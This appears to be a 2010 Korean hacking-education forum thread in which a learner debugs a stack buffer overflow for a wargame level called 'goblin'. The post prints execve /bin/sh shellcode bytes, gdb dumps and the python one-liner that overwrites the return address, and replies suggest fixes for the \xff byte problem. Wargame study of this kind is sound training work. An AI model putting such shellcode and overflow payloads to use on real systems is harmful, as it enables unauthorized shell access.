218, 6/11 회원가입  로그인  
   LumAnXD
   http://blog.naver.com/12730z
   goblin 문제 푸는도중에 도저히 진행을 못하겟어요 ㅠㅠ 도와주셔요ㅠㅠ [결론이 나온거같네요;]

http://www.hackerschool.org/HS_Boards/zboard.php?id=bof_fellowship&no=118 [복사]


아우선 이런 질문을 올려도되는것인지 모르겟네요;;
자비롭게 봐주세요 ㅠ

쉘코드는
\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe08\xdc\xff\xff\xff/bin/sh"
입니다

-------------------------------------------------------------------
(gdb) x/12 0xbffffc29
0xbffffc29:        0x31b0c031   0xc38980cd   0xc031c18    0x80cd46b0
0xbffffc39:        0x895e1feb    0xc0310876   0x89074688  0x0bb00c46
0xbffffc49:        0x4e8df389   0x0c568d08   0xdb3180cd   0xcd40d889
-------------------------------------------------------------------

여기까지봣을떄 0xbffffc29에 쉘코드를 넣은건 확실한거같구

buf[40]칸이기에

`python -c 'print "a"*44+"\x29\xfc\xff\xbf"'`  `python -c 'print "쉘코드"'`
               buf[40]+sfp +           ret
이렇게  공격을 했습니다 ㅠㅠ
공격을하면

-------------------------------------------------------------------
(gdb) cont
Continuing.
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa)

Program received signal SIGSEGV, Segmentation fault.
0x9c00fc1e in ?? ()
-------------------------------------------------------------------
0x9c00fc1e : Cannot access memory at address 0x9c00fc1e
0x9c00fc1e에는 아무것두 없네유 ㅠㅠ leave하기 직전에 b걸구 확인햇는데ㅠ

-------------------------------------------------------------------
(gdb) x/x $ebp
0xbffffa88:        0x61616161
(gdb) x/x 0xbffffa88
0xbffffa88:        0x61616161
(gdb)
0xbffffa8c:        0x4000fc29
-------------------------------------------------------------------
ret에  4000fc29가 들어가는데  fc29는 제대로 들어간거같은데
bfff가 왜 4000이 되는건가요 ㅠ_ㅠ;;
이부분 힌트좀 주시면 감사하겠습니다.
답변달아주실때까지 계속 찾아보고 있겟습니다 !

++
아 ! ff는 넣을수 없다고하네요ㅠㅠ  ff는 backspace라!!
그렇다면 ff는 어떻게 넣어야하나요? ㅠㅠ
다시 검색해보고잇겟습니다 !
답변달아주세요 ㅠ


++ 결론

\xff는 backspace 역활을 하는거같습니다.

4c00 의 위치를 보니

0xbffffc56:        0x90909090
0xbffffc5a:        0x4c00fc2a      //  \x2a\xfc\xff\xbf        
0xbffffc5e:        0x4f535345     //   ff가 bf를 지운거같네요(?)


0xbffffc54:        0x90909090
0xbffffc58:        0xbbaafc2a        //  \x2a\xfc\xaa\xbb
0xbffffc5c:        0x53454c00      // 4c00이 아래에잇네요
---------------------------------------------------------------------
  Hit : 2474     Date : 2010/05/12 10:45


    
thscndgh "`python -c "print '\x31'"`"

이런식으로 작성하심 됨		 2010/05/13  
LumAnXD 아 다시 보니까 00은 괜찮은걱 같아용
기존 gate문제 같은경우에도 ff는 00으로 들어가는거 같더군요		 2010/05/13  
머ㅎ 그래서 ff를 어떻게 처리해야 되는거죠? ㅠㅠ 2010/05/13  
LumAnXD 알아보니까 execve나 이런 함수 이용해서 프로그램짜면될듯하네요
근데 제가 결론 낸거 /bin/bash2 안하고 한거같기도 한데 ㅡ_ㅡㅋ;;

지금은 너무 졸려서 내일 다시해볼게요 ㅠ		 2010/05/14  
118   orc,이건 무슨현상이죠     94cyan
 07/12 2506
117 비밀글입니다  orc,제대로 푼거같은데 풀리지가 않네요[1]     94cyan
 07/12 8
116   문제를 풀어도...[1]     buff3r
 07/02 2524
115 비밀글입니다  succubus -> death_knight + 전리품[1]     산적
 06/18 18
114   argv[2]...[3]     두루뭉술
 06/05 3470
113 비밀글입니다  giant -> succubus     산적
 06/01 7
112   빌어먹을 golem...ㅠㅠ[1]     lMaxl04
 05/28 2363
111   argv0에 쉘코드를 넣기위하여 심볼릭링크를 하려는데.. 안되네요... 왜 안되는지 알려주세요~[13]     머ㅎ
 05/28 3807
110   오우 드디어 이곳에!!! ㅎㅎ     Max
 05/24 2360
109 비밀글입니다  bugbear -> giant     산적
 05/24 30
108 비밀글입니다  darkknight -> bugbear[1]     산적
 05/15 16
107 비밀글입니다  goblin > orc 틀린부분 지적좀해주시기바랍니다..;[2]     94cyan
 05/14 3
106   level4 (goblin) 도저히 풀리지가않습니다;...[1]     94cyan
 05/13 2861
  goblin 문제 푸는도중에 도저히 진행을 못하겟어요 ㅠㅠ 도와주셔요ㅠㅠ [결론이 나온거같네요;][4]     LumAnXD
 05/12 2473
104 비밀글입니다  스켈레톤 -> 다크나이트 풀이( 그리고 질문이요 ~! )     산적
 05/12 22
103 비밀글입니다  Dropped Item 입니다[3]     Jakkdu
 05/09 20
102   이번 주말에 스터디 오실 분~     멍멍
 04/29 2516
101 비밀글입니다  goblin -> death_knight 풀이 (초간단)[2]     thscndgh
 04/26 54
100   Python 그룹 스터디 같이 하실 분~     멍멍
 04/26 2481
99 비밀글입니다  Death_knight & dropped item.[4]     CodeAche
 04/23 19
[1][2][3][4][5] 6 [7][8][9][10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org